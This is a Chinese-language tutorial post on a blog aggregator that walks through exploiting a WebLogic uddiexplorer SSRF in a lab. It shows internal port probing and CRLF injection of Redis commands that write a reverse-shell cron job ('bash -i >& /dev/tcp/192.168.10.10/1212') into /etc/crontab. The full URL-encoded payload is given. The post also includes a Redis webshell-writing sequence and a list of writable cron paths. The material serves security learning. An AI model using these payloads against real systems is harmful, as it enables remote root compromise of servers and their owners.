首页 > 其他分享 >weblogic-SSRF

weblogic-SSRF

时间:2023-03-28 23:01:45浏览次数:34  
标签:set SSRF redis crontab etc weblogic 0D%

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

1、启动环境

 

访问`http://your-ip:7001/uddiexplorer/`,无需登录即可查看uddiexplorer应用。

 

 2、漏洞测试

SSRF漏洞存在于`http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp`,我们在brupsuite下测试该漏洞。

 

 在漏洞页面随意填入参数,bp抓包。

 

 发现operator参数是一个URL的形式。

访问一个可以访问的IP:port,这里开启kali的888端口:

 

 

 

 访问开启的888端口,有有效信息返回。

 

 访问不存在的8888端口,提示无法连接到。于是根据返回错误不同,可以对内网状态进行探测比如端口的开放状态。

据此可以确定目标存在SSRF漏洞。

3、漏洞利用

注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现`172.19.0.2:6379`可以连通:

 

 

 

 由“which did not have a valid SOAP content-type”可知这是一个可连通的端口。

发送三条redis命令,将弹shell脚本写入`/etc/crontab`:

test
 
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.10.10/1212 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab save
 
qwezxc

将其进行URL编码得到:operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.10%2F1212%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

 改包:

 

 因为将shell反弹到192.168.10.10:1212,所以在kali上开启监听1212,执行请求后shell反弹成功。查看/etc/crontab文件,发现了写入的命令。

 

 这是因为在请求的URL中,通过换行符%0d%0a执行了Redis config set命令:

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。

添加键1对应的值为要写入/etc/crontab的任务内容,然后创建/etc/crontab文件,save将其写入。自动任务执行时,将shell反弹到攻击机上。

 

 比如以下是一段利用Redis写webshell的命令:

config set dir /var/www/html/
config set dbfilename redis.php
set webshell “<?php phpinfo(); ?>”
save

这样就会生成一个redis.php文件,其中的内容就是<?php phpinfo(); ?>

如果可以通过web访问到这个php后门,就可以通过蚁剑连接进行更进一步的渗透。

 

最后补充一下,可进行利用的cron有如下几个地方:
 - /etc/crontab 这个是肯定的
 - /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
 - /var/spool/cron/root centos系统下root用户的cron文件
 - /var/spool/cron/crontabs/root debian系统下root用户的cron文件

标签:set,SSRF,redis,crontab,etc,weblogic,0D%
From: https://www.cnblogs.com/a-deng/p/17267003.html

相关文章

  • JAVA代码审计 SSRF篇
    一、巩固SSRFSSRF服务端请求伪造,Web应用程序往往会提供一些能够从远处获取图片或是文件的接口,在这些接口上用户使用指定的URL便能完成远程获取图片,下载文件等操作。......
  • weblogic ssrf漏洞复现
    搭建环境    访问ssrf漏洞存在界面:http://192.168.88.140:7001/uddiexplorer/SearchPublicRegistries.jsp    打开burpsuite抓包拦截,点击search  ......
  • 【WebLogic使用】5.WebLogic创建虚拟主机和绑域名
    一、创建虚拟主机启动WebLogic服务,登录到WebLogic的服务控制台:在主界面,我们选择左侧的选项栏中的“环境”-->“虚拟主机”选项:点击“新建”,进入新建......
  • 【WebLogic使用】4.使用WebLogic部署Web应用
    我们之前都是使用MyEclipse的Server视窗来部署应用到WebLogic服务器上,但是这仅仅是我们的开发步骤,带我们开发完成之后,将应用部署到生产环境的时候,一......
  • Web漏洞-CSRF及SSRF漏洞案例讲解
      CSRF漏洞解释,原理CSRF:跨站请求伪造,是一种网络的攻击方式(核心:伪造请求)黑客利用某网站用户的登陆状态,然后伪造请求的链接,造成对登录态用户的修改等各种危险操作被......
  • java审计-RCE/SSRF
    java开发语言中可以执行命令的函数有Runtime.getRuntime.exec和ProcessBuilder.start java1.5之前用Runtime.getRuntime.exec1.5后用ProcessBuilder类构造进程  ......
  • CSRF和SSRF
    CSRF又称跨站点请求伪造(有很多前提)比如:写一个index.html其中的script去请求一个地址,如果此时访问了攻击者的服务器则会触发修改的数据包,访问了写的地址,修改了用户的信......
  • java代码审计-SSRF
    0x00前言SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图......
  • WebLogic JNDI注入(CVE-2021-2109)
    0x01前言学习一下WebLogicJNDI注入RCE(CVE-2021-2109)0x02环境搭建和之前WebLogic的环境搭建是一致的,本文不再赘述。不过值得一提的是,我的weblogic版本是10.3......
  • java.net.URL getHost因#@同时存在时优先级问题导致的SSRF
    #作为锚点,后面的会忽略;@作为登录信息,前面的会忽略对于java.net.URL取主机getHost()函数,当#@同时存在时,高版本#优先,取#前的;低版本@优先,取@后的。从而导致低版本(具体各......